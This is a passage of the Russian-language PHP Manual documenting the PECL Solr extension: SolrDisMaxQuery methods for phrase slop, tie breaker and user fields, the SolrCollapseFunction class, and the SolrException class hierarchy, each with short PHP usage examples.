echo $dismaxQuery.PHP_EOL;
?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&pf=cat~5.1^2 feature^4.5

Смотрите также

  • SolrDisMaxQuery::addPhraseFields()
  • SolrDisMaxQuery::removePhraseField() - Удаляет поле фразы (параметра)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент отклонения по умолчанию для запросов фраз (параметр ps)

  • « SolrDisMaxQuery::setPhraseFields
  • SolrDisMaxQuery::setQueryAlt »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает коэффициент отклонения по умолчанию для запросов фраз (параметр ps)

SolrDisMaxQuery::setPhraseSlop

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setPhraseSlop — Устанавливает коэффициент отклонения по умолчанию для запросов фраз (параметр ps)

Описание

public SolrDisMaxQuery::setPhraseSlop(string $slop): SolrDisMaxQuery

Устанавливает коэффициент отклонения по умолчанию для фразовых запросов, построенных с полями "pf", "pf2" and/or "pf3" (влияет на усиление). Параметр "ps".

Список параметров

slop

Коэффициент отклонения по умолчанию.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setPhraseSlop()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$dismaxQuery->setPhraseSlop(4);
echo $dismaxQuery.PHP_EOL;

?>

Результат выполнения приведённого примера:

q=lucene&defType=edismax&ps=4

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает альтернативный запрос (параметр q.alt)

  • « SolrDisMaxQuery::setPhraseSlop
  • SolrDisMaxQuery::setQueryPhraseSlop »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает альтернативный запрос (параметр q.alt)

SolrDisMaxQuery::setQueryAlt

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setQueryAlt — Устанавливает альтернативный запрос (параметр q.alt)

Описание

public SolrDisMaxQuery::setQueryAlt(string $q): SolrDisMaxQuery

Устанавливает альтернативный запрос (параметр q.alt).

Когда основной параметр q не указан или пуст. Используется параметр q.alt.

Список параметров

q

Строка запроса.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setQueryAlt()

<?php

$dismaxQuery = new DisMaxQuery();
$dismaxQuery->setQueryAlt('*:*');

?>

Вывод приведённого примера будет похож на:

defType=edismax&q.alt=*:*&q=

User Contributed Notes

There are no user contributed notes for this page.


Определяет коэффициент отклонения, разрешённый для фразовых запросов, явно включённых в строку запроса пользователя (параметр qf)

  • « SolrDisMaxQuery::setQueryAlt
  • SolrDisMaxQuery::setTieBreaker »
  • PHP Manual
  • SolrDisMaxQuery
  • Определяет коэффициент отклонения, разрешённый для фразовых запросов, явно включённых в строку запроса пользователя (параметр qf)

SolrDisMaxQuery::setQueryPhraseSlop

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setQueryPhraseSlop — Определяет коэффициент отклонения, разрешённый для фразовых запросов, явно включённых в строку запроса пользователя (параметр qf)

Описание

public SolrDisMaxQuery::setQueryPhraseSlop(string $slop): SolrDisMaxQuery

Определяет коэффициент отклонения, разрешённый для фразовых запросов, явно включённых в строку запроса пользователя (параметр qf).

Коэффициент отклонения относится к количеству позиций, на которые необходимо переместить один токен по отношению к другому токену, чтобы соответствовать фразе, указанной в запросе.

Список параметров

slop

Коэффициент отклонения.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setQueryPhraseSlop()

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->setQueryPhraseSlop(3);
echo $dismaxQuery;
?>

Вывод приведённого примера будет похож на:

defType=edismax&qs=3

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр Tie Breaker (параметр tie)

  • « SolrDisMaxQuery::setQueryPhraseSlop
  • SolrDisMaxQuery::setTrigramPhraseFields »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает параметр Tie Breaker (параметр tie)

SolrDisMaxQuery::setTieBreaker

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setTieBreaker — Устанавливает параметр Tie Breaker (параметр tie)

Описание

public SolrDisMaxQuery::setTieBreaker(string $tieBreaker): SolrDisMaxQuery

Устанавливает параметр Tie Breaker (параметр tie).

Список параметров

tieBreaker

Параметр tie указывает значение с плавающей точкой (которое должно быть намного меньше 1) для использования в качестве разрешения конфликтов в запросах DisMax.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setTieBreaker()

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->setTieBreaker(0.1);

echo $dismaxQuery;
?>

Результат выполнения приведённого примера:

defType=edismax&tie=0.1

User Contributed Notes

There are no user contributed notes for this page.


Непосредственно устанавливает поля триграммы фразы (параметр pf3)

  • « SolrDisMaxQuery::setTieBreaker
  • SolrDisMaxQuery::setTrigramPhraseSlop »
  • PHP Manual
  • SolrDisMaxQuery
  • Непосредственно устанавливает поля триграммы фразы (параметр pf3)

SolrDisMaxQuery::setTrigramPhraseFields

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setTrigramPhraseFields — Непосредственно устанавливает поля триграммы фразы (параметр pf3)

Описание

public SolrDisMaxQuery::setTrigramPhraseFields(string $fields): SolrDisMaxQuery

Непосредственно устанавливает поля триграммы фразы (параметр pf3).

Список параметров

fields

Поля триграммы фразы.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setTrigramPhraseFields()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setTrigramPhraseFields('cat~5.1^2 feature^4.5');
echo $dismaxQuery.PHP_EOL;

?>

Результат выполнения приведённого примера:

q=lucene&defType=edismax&pf3=cat~5.1^2 feature^4.5

Смотрите также

  • SolrDisMaxQuery::addTrigramPhraseField() - Добавляет поле триграммы (параметр pf3)
  • SolrDisMaxQuery::removeTrigramPhraseField() - Удаляет поле триграммы (параметр pf3)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)

  • « SolrDisMaxQuery::setTrigramPhraseFields
  • SolrDisMaxQuery::setUserFields »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)

SolrDisMaxQuery::setTrigramPhraseSlop

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setTrigramPhraseSlop — Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)

Описание

public SolrDisMaxQuery::setTrigramPhraseSlop(string $slop): SolrDisMaxQuery

Устанавливает коэффициент отклонения триграммы фразы (параметр ps3).

Список параметров

slop

Коэффициент отклонения.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setTrigramPhraseSlop()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setTrigramPhraseSlop(2);
echo $dismaxQuery.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&ps3=2

Смотрите также

  • SolrDisMaxQuery::addTrigramPhraseField() - Добавляет поле триграммы (параметр pf3)
  • SolrDisMaxQuery::removeTrigramPhraseField() - Удаляет поле триграммы (параметр pf3)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Непосредственно устанавливает поля триграммы фразы (параметр pf3)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр пользовательских полей (uf)

  • « SolrDisMaxQuery::setTrigramPhraseSlop
  • SolrDisMaxQuery::useDisMaxQueryParser »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает параметр пользовательских полей (uf)

SolrDisMaxQuery::setUserFields

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setUserFields — Устанавливает параметр пользовательских полей (uf)

Описание

public SolrDisMaxQuery::setUserFields(string $fields): SolrDisMaxQuery

Устанавливает параметр пользовательских полей (uf)

Пользовательские поля: указывает, какие поля схемы конечный пользователь может запрашивать.

Список параметров

fields

Имена полей, указанные через пробел

Параметр поддерживает подстановочные знаки.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setUserFields()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setUserFields('field1 field2 *_txt');
echo $dismaxQuery.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&uf=field1 field2 *_txt

Смотрите также

  • SolrDisMaxQuery::addUserField() - Добавляет поле в параметр пользовательских полей (uf)
  • SolrDisMaxQuery::removeUserField() - Удаляет поле из параметра пользовательских полей (uf)

User Contributed Notes

There are no user contributed notes for this page.


Переключает QueryParser на DisMax Query Parser

  • « SolrDisMaxQuery::setUserFields
  • SolrDisMaxQuery::useEDisMaxQueryParser »
  • PHP Manual
  • SolrDisMaxQuery
  • Переключает QueryParser на DisMax Query Parser

SolrDisMaxQuery::useDisMaxQueryParser

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::useDisMaxQueryParser — Переключает QueryParser на DisMax Query Parser

Описание

public SolrDisMaxQuery::useDisMaxQueryParser(): SolrDisMaxQuery

Переключает QueryParser на DisMax Query Parser

Список параметров

У этой функции нет параметров.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::useDisMaxQueryParser()

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->useDisMaxQueryParser();
echo $dismaxQuery;
?>

Вывод приведённого примера будет похож на:

defType=dismax

Смотрите также

  • SolrDisMaxQuery::useDisMaxQueryParser()

User Contributed Notes

There are no user contributed notes for this page.


Переключает QueryParser на EDisMax

  • « SolrDisMaxQuery::useDisMaxQueryParser
  • SolrCollapseFunction »
  • PHP Manual
  • SolrDisMaxQuery
  • Переключает QueryParser на EDisMax

SolrDisMaxQuery::useEDisMaxQueryParser

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::useEDisMaxQueryParser — Переключает QueryParser на EDisMax

Описание

public SolrDisMaxQuery::useEDisMaxQueryParser(): SolrDisMaxQuery

Переключает QueryParser на EDisMax. По умолчанию построитель запросов использует edismax, если он был переключён с помощью SolrDisMaxQuery::useDisMaxQueryParser(), его можно переключить обратно с помощью этого метода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::useEDisMaxQueryParser()

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->useEDisMaxQueryParser();
echo $dismaxQuery;

?>

Вывод приведённого примера будет похож на:

defType=edismax

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrCollapseFunction

(PECL solr >= 2.2.0)

Введение

Обзор классов

class SolrCollapseFunction {
/* Константы */
const string NULLPOLICY_IGNORE = ignore;
const string NULLPOLICY_EXPAND = expand;
const string NULLPOLICY_COLLAPSE = collapse;
/* Методы */
public __construct(string $field = ?)
public getField(): string
public getHint(): string
public getMax(): string
public getMin(): string
public getNullPolicy(): string
public getSize(): int
public setField(string $fieldName): SolrCollapseFunction
public setHint(string $hint): SolrCollapseFunction
public setMax(string $max): SolrCollapseFunction
public setMin(string $min): SolrCollapseFunction
public setNullPolicy(string $nullPolicy): SolrCollapseFunction
public setSize(int $size): SolrCollapseFunction
public __toString(): string
}

Предопределённые константы

SolrCollapseFunction::NULLPOLICY_IGNORE

SolrCollapseFunction::NULLPOLICY_EXPAND

SolrCollapseFunction::NULLPOLICY_COLLAPSE

Содержание

  • SolrCollapseFunction::__construct — Конструктор класса
  • SolrCollapseFunction::getField — Возвращает свёрнутое поле
  • SolrCollapseFunction::getHint — Возвращает подсказку сворачивания
  • SolrCollapseFunction::getMax — Возвращает максимальное значение
  • SolrCollapseFunction::getMin — Возвращает минимальное значение
  • SolrCollapseFunction::getNullPolicy — Возвращает NULL-политику
  • SolrCollapseFunction::getSize — Возвращает параметр размера
  • SolrCollapseFunction::setField — Устанавливает поле для свёртывания
  • SolrCollapseFunction::setHint — Устанавливает подсказку сворачивания
  • SolrCollapseFunction::setMax — Выбирает заголовки группы по максимальному значению числового поля или запроса функции
  • SolrCollapseFunction::setMin — Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю
  • SolrCollapseFunction::setNullPolicy — Устанавливает NULL-политику
  • SolrCollapseFunction::setSize — Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю
  • SolrCollapseFunction::__toString — Возвращает строку, представляющую построенную функцию свёртывания

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса

  • « SolrCollapseFunction
  • SolrCollapseFunction::getField »
  • PHP Manual
  • SolrCollapseFunction
  • Конструктор класса

SolrCollapseFunction::__construct

(PECL solr >= 2.2.0)

SolrCollapseFunction::__construct — Конструктор класса

Описание

public SolrCollapseFunction::__construct(string $field = ?)

Конструктор класса Collapse Function

Список параметров

field

Имя поля для свёртывания.

Чтобы свернуть результат. Тип поля должен быть однозначным: строка, целое число или число с плавающей точкой.

Примеры

Пример #1 Пример использования SolrCollapseFunction::__construct()

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$func = new SolrCollapseFunction('field_name');

$func->setMax('sum(cscore(),field(some_other_field))');
$func->setSize(100);
$func->setNullPolicy(SolrCollapseFunction::NULLPOLICY_EXPAND);

$query->collapse($func);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);

?>

Смотрите также

  • SolrQuery::collapse() - Сворачивает набор результатов до одного документа на группу

User Contributed Notes

There are no user contributed notes for this page.


Возвращает свёрнутое поле

  • « SolrCollapseFunction::__construct
  • SolrCollapseFunction::getHint »
  • PHP Manual
  • SolrCollapseFunction
  • Возвращает свёрнутое поле

SolrCollapseFunction::getField

(PECL solr >= 2.2.0)

SolrCollapseFunction::getField — Возвращает свёрнутое поле

Описание

public SolrCollapseFunction::getField(): string

Возвращает свёрнутое поле.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrCollapseFunction::setField() - Устанавливает поле для свёртывания

User Contributed Notes

There are no user contributed notes for this page.


Возвращает подсказку сворачивания

  • « SolrCollapseFunction::getField
  • SolrCollapseFunction::getMax »
  • PHP Manual
  • SolrCollapseFunction
  • Возвращает подсказку сворачивания

SolrCollapseFunction::getHint

(PECL solr >= 2.2.0)

SolrCollapseFunction::getHint — Возвращает подсказку сворачивания

Описание

public SolrCollapseFunction::getHint(): string

Возвращает подсказку сворачивания

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrCollapseFunction::setHint() - Устанавливает подсказку сворачивания

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное значение

  • « SolrCollapseFunction::getHint
  • SolrCollapseFunction::getMin »
  • PHP Manual
  • SolrCollapseFunction
  • Возвращает максимальное значение

SolrCollapseFunction::getMax

(PECL solr >= 2.2.0)

SolrCollapseFunction::getMax — Возвращает максимальное значение

Описание

public SolrCollapseFunction::getMax(): string

Возвращает максимальное значение числового поля или запроса функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrCollapseFunction::setMax() - Выбирает заголовки группы по максимальному значению числового поля или запроса функции

User Contributed Notes

There are no user contributed notes for this page.


Возвращает минимальное значение

  • « SolrCollapseFunction::getMax
  • SolrCollapseFunction::getNullPolicy »
  • PHP Manual
  • SolrCollapseFunction
  • Возвращает минимальное значение

SolrCollapseFunction::getMin

(PECL solr >= 2.2.0)

SolrCollapseFunction::getMin — Возвращает минимальное значение

Описание

public SolrCollapseFunction::getMin(): string

Возвращает минимальное значение числового поля или запроса функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrCollapseFunction::setMin() - Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

User Contributed Notes

There are no user contributed notes for this page.


Возвращает NULL-политику

  • « SolrCollapseFunction::getMin
  • SolrCollapseFunction::getSize »
  • PHP Manual
  • SolrCollapseFunction
  • Возвращает NULL-политику

SolrCollapseFunction::getNullPolicy

(PECL solr >= 2.2.0)

SolrCollapseFunction::getNullPolicy — Возвращает NULL-политику

Описание

public SolrCollapseFunction::getNullPolicy(): string

Возвращает используемую NULL-политику или null

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrCollapseFunction::setNullPolicy() - Устанавливает NULL-политику

User Contributed Notes

There are no user contributed notes for this page.


Возвращает параметр размера

  • « SolrCollapseFunction::getNullPolicy
  • SolrCollapseFunction::setField »
  • PHP Manual
  • SolrCollapseFunction
  • Возвращает параметр размера

SolrCollapseFunction::getSize

(PECL solr >= 2.2.0)

SolrCollapseFunction::getSize — Возвращает параметр размера

Описание

public SolrCollapseFunction::getSize(): int

Возвращает начальный размер свёртываемых структур данных только при свёртывании по числовому полю.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrCollapseFunction::setSize() - Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поле для свёртывания

  • « SolrCollapseFunction::getSize
  • SolrCollapseFunction::setHint »
  • PHP Manual
  • SolrCollapseFunction
  • Устанавливает поле для свёртывания

SolrCollapseFunction::setField

(PECL solr >= 2.2.0)

SolrCollapseFunction::setField — Устанавливает поле для свёртывания

Описание

public SolrCollapseFunction::setField(string $fieldName): SolrCollapseFunction

Имя поля для свёртывания. Чтобы свернуть результат. Тип поля должен быть однозначным: строка, целое число или число с плавающей точкой.

Список параметров

fieldName

Возвращаемые значения

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает подсказку сворачивания

  • « SolrCollapseFunction::setField
  • SolrCollapseFunction::setMax »
  • PHP Manual
  • SolrCollapseFunction
  • Устанавливает подсказку сворачивания

SolrCollapseFunction::setHint

(PECL solr >= 2.2.0)

SolrCollapseFunction::setHint — Устанавливает подсказку сворачивания

Описание

public SolrCollapseFunction::setHint(string $hint): SolrCollapseFunction

Устанавливает подсказку сворачивания

Список параметров

hint

В настоящее время доступна только одна подсказка "top_fc", обозначающая FieldCache верхнего уровня.

Возвращаемые значения

SolrCollapseFunction

Примеры

Пример #1 Пример использования SolrCollapseFunction::setHint()

<?php

/* ... */

?>

Вывод приведённого примера будет похож на:

...

User Contributed Notes

There are no user contributed notes for this page.


Выбирает заголовки группы по максимальному значению числового поля или запроса функции

  • « SolrCollapseFunction::setHint
  • SolrCollapseFunction::setMin »
  • PHP Manual
  • SolrCollapseFunction
  • Выбирает заголовки группы по максимальному значению числового поля или запроса функции

SolrCollapseFunction::setMax

(PECL solr >= 2.2.0)

SolrCollapseFunction::setMax — Выбирает заголовки группы по максимальному значению числового поля или запроса функции

Описание

public SolrCollapseFunction::setMax(string $max): SolrCollapseFunction

Выбирает заголовки группы по максимальному значению числового поля или запроса функции.

Список параметров

max

Возвращаемые значения

SolrCollapseFunction

Примеры

Пример #1 Пример использования SolrCollapseFunction::setMax()

<?php

$func = new SolrCollapseFunction('field_name');

$func->setMax('sum(cscore(),field(some_field))');

$query = new SolrQuery('*:*');

$query->collapse($func);

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

  • « SolrCollapseFunction::setMax
  • SolrCollapseFunction::setNullPolicy »
  • PHP Manual
  • SolrCollapseFunction
  • Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

SolrCollapseFunction::setMin

(PECL solr >= 2.2.0)

SolrCollapseFunction::setMin — Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

Описание

public SolrCollapseFunction::setMin(string $min): SolrCollapseFunction

Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

Список параметров

min

Возвращаемые значения

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает NULL-политику

  • « SolrCollapseFunction::setMin
  • SolrCollapseFunction::setSize »
  • PHP Manual
  • SolrCollapseFunction
  • Устанавливает NULL-политику

SolrCollapseFunction::setNullPolicy

(PECL solr >= 2.2.0)

SolrCollapseFunction::setNullPolicy — Устанавливает NULL-политику

Описание

public SolrCollapseFunction::setNullPolicy(string $nullPolicy): SolrCollapseFunction

Устанавливает NULL-политику. Должна быть передана одна из 3 политик, определённых как константы класса. Принимает политики ignore (игнорирования), expand (развёртывания) или collapse (свёртывания).

Список параметров

nullPolicy

Возвращаемые значения

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

  • « SolrCollapseFunction::setNullPolicy
  • SolrCollapseFunction::__toString »
  • PHP Manual
  • SolrCollapseFunction
  • Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

SolrCollapseFunction::setSize

(PECL solr >= 2.2.0)

SolrCollapseFunction::setSize — Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

Описание

public SolrCollapseFunction::setSize(int $size): SolrCollapseFunction

Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю

Список параметров

size

Возвращаемые значения

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, представляющую построенную функцию свёртывания

  • « SolrCollapseFunction::setSize
  • SolrException »
  • PHP Manual
  • SolrCollapseFunction
  • Возвращает строку, представляющую построенную функцию свёртывания

SolrCollapseFunction::__toString

(PECL solr >= 2.2.0)

SolrCollapseFunction::__toString — Возвращает строку, представляющую построенную функцию свёртывания

Описание

public SolrCollapseFunction::__toString(): string

Возвращает строку, представляющую построенную функцию свёртывания

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrException

(PECL solr >= 0.9.2)

Введение

Базовый класс для всех исключений, выбрасываемых классами модуля Solr.

Обзор классов

class SolrException extends Exception {
/* Свойства */
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
public getInternalInfo(): array
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

sourceline

Строка в исходном файле c-space, где было сгенерировано исключение

sourcefile

Исходный файл c-space, где было сгенерировано исключение

zif_name

Функция c-space, где было сгенерировано исключение

Содержание

  • SolrException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутреннюю информацию о том, где было выброшено исключение

  • « SolrException
  • SolrClientException »
  • PHP Manual
  • SolrException
  • Возвращает внутреннюю информацию о том, где было выброшено исключение

SolrException::getInternalInfo

(PECL solr >= 0.9.2)

SolrException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

Описание

public SolrException::getInternalInfo(): array

Возвращает внутреннюю информацию о том, где было выброшено исключение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий внутреннюю информацию о том, где была вызвана ошибка. Используется только для отладки разработчиками модулей.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrClientException

(PECL solr >= 0.9.2)

Введение

Исключение, выбрасываемое в случае возникновения ошибки при выполнении запроса к серверу от клиента.

Обзор классов

class SolrClientException extends SolrException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* Методы */
public getInternalInfo(): array
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

Содержание

  • SolrClientException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутреннюю информацию о том, где было выброшено исключение

  • « SolrClientException
  • SolrServerException »
  • PHP Manual
  • SolrClientException
  • Возвращает внутреннюю информацию о том, где было выброшено исключение

SolrClientException::getInternalInfo

(PECL solr >= 0.9.2)

SolrClientException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

Описание

public SolrClientException::getInternalInfo(): array

Возвращает внутреннюю информацию о том, где было выброшено исключение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий внутреннюю информацию о том, где была вызвана ошибка. Используется только для отладки разработчиками модулей.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrServerException

(PECL Solr >= 1.1.0, >=2.0.0)

Введение

Исключение, возникающее в случае возникновении ошибки на самом сервере Solr.

Обзор классов

class SolrServerException extends SolrException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* Методы */
public getInternalInfo(): array
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

Содержание

  • SolrServerException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутреннюю информацию о том, где было выброшено исключение

  • « SolrServerException
  • SolrIllegalArgumentException »
  • PHP Manual
  • SolrServerException
  • Возвращает внутреннюю информацию о том, где было выброшено исключение

SolrServerException::getInternalInfo

(PECL solr >= 1.1.0, >=2.0.0)

SolrServerException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

Описание

public SolrServerException::getInternalInfo(): array

Возвращает внутреннюю информацию о том, где было выброшено исключение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий информацию о том, где было выброшено исключение. Используется только разработчиками модулей для отладки.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrIllegalArgumentException

(PECL solr >= 0.9.2)

Введение

Выбрасывается, когда методу передаётся недопустимый или некорректный аргумент.

Обзор классов

class SolrIllegalArgumentException extends SolrException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* Методы */
public getInternalInfo(): array
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

Содержание

  • SolrIllegalArgumentException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутреннюю информацию о том, где было выброшено исключение

  • « SolrIllegalArgumentException
  • SolrIllegalOperationException »
  • PHP Manual
  • SolrIllegalArgumentException
  • Возвращает внутреннюю информацию о том, где было выброшено исключение

SolrIllegalArgumentException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalArgumentException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

Описание

public SolrIllegalArgumentException::getInternalInfo(): array

Возвращает внутреннюю информацию о том, где было выброшено исключение.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий внутреннюю информацию о том, где была вызвана ошибка. Используется только для отладки разработчиками модулей.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrIllegalOperationException

(PECL solr >= 0.9.2)

Введение

Выбрасывает, когда с объектом выполняется недопустимая или неподдерживаемая операция.

Обзор классов

class SolrIllegalOperationException extends SolrException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* Методы */
public getInternalInfo(): array
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

Содержание

  • SolrIllegalOperationException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутреннюю информацию о том, где было выброшено исключение

  • « SolrIllegalOperationException
  • SolrMissingMandatoryParameterException »
  • PHP Manual
  • SolrIllegalOperationException
  • Возвращает внутреннюю информацию о том, где было выброшено исключение

SolrIllegalOperationException::getInternalInfo

(PECL solr >= 0.9.2)

